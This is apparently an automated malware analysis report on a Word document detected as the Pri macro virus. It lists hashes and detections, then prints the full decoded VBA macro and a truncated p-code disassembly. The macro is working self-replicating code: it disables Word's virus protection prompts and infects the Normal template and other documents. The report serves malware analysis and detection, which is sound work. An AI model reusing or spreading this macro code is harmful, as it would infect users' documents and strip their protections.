Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 041d43fbe4ac5140…

MALICIOUS

Office (OLE)

28.5 KB Created: 2001-03-08 06:48:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5dd4b77696794f22baa9b0c272166057 SHA-1: 97124919dc9f6dccfdd73c643993903e15feba73 SHA-256: 041d43fbe4ac514007b8838c077ced15a7291255bf08527c1bfb6d22d523c8f8
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains embedded VBA macros, specifically a Document_Open macro, which is a common technique for initiating malicious actions. The macro code appears to be designed to obfuscate its true purpose and potentially download additional content. The presence of the Document_Open macro and the detection of VBA macros strongly suggest an attempt to execute malicious code upon opening the document, likely as a spearphishing attachment.

Heuristics 3

  • ClamAV: Doc.Trojan.Pri-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Pri-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6188 bytes
SHA-256: 5673099cf3253ab7d4be64e1b091dd9451e01d77714b8f170b1bfa3c537afb6c
Detection
ClamAV: Doc.Trojan.Pri-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Options.ConfirmConversions = 0: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0
If Day(Now) = Minute(Now) Then
Randomize: For x = 1 To 10
ActiveDocument.Shapes.AddShape(msoShapePentagon, Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500)).Select
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid: Next x: End If
JR174 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
TK8186 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set AN3032 = ActiveDocument.VBProject.VBComponents.Item(1)
EN3579 = True
End If
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set AN3032 = NormalTemplate.VBProject.VBComponents.Item(1)
LE4981 = True

ActiveDocument.Saved = True
End If
If LE4981 <> True And EN3579 <> True Then GoTo CI2023
If LE4981 = True Then AN3032.CodeModule.AddFromString ("Private Sub Document_Close()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, JR174 - 1) & vbCr & "Sub ViewVBCode" & vbCr & "End Sub")
If EN3579 = True Then AN3032.CodeModule.AddFromString ("Private Sub Document_Open" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, TK8186 - 3))
CI2023:
End Sub


' Processing file: /opt/analyzer/scan_staging/902015e1071b4345a0596ba5570739d2.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2926 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #3:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	Ld Now 
' 	ArgsLd Minute 0x0001 
' 	Eq 
' 	IfBlock 
' Line #4:
' 	ArgsCall Read 0x0000 
' 	BoS 0x0000 
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x000A 
' 	For 
' Line #5:
' 	Ld msoShapePentagon 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld ActiveDocument 
' 	MemLd Shapes 
' 	ArgsMemLd AddShape 0x0005 
' 	ArgsMemCall Set 0x0000 
' Line #6:
' 	Ld Rnd 
' 	LitDI2 0x00FF 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x00FF 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x00FF 
' 	Mul 
' 	FnInt 
' 	ArgsLd RSet 0x0003 
' 	Ld Selection 
' 	MemLd ShapeRange 
' 	MemLd Fill 
' 	MemLd ForeColor 
' 	MemSt RSet 
' Line #7:
' 	Ld msoTrue 
' 	Ld Selection 
' 	MemLd ShapeRange 
' 	MemLd Fill 
' 	MemSt Visible 
' Line #8:
' 	Ld Selection 
' 	MemLd ShapeRange 
' 	MemLd Fill 
' 	ArgsMemCall Solid 0x0000 
' 	BoS 0x0000 
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' 	BoS 0x0000 
' 	EndIfBlock 
' Line #9:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St JR174 
' Line #10:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St TK8186 
' Line #11:
' 	LitDI2 0x0001 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitDI2 0x0003 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0003 "Pri"
' 	Ne 
' 	IfBlock 
' Line #12:
' 	SetStm
... (truncated)

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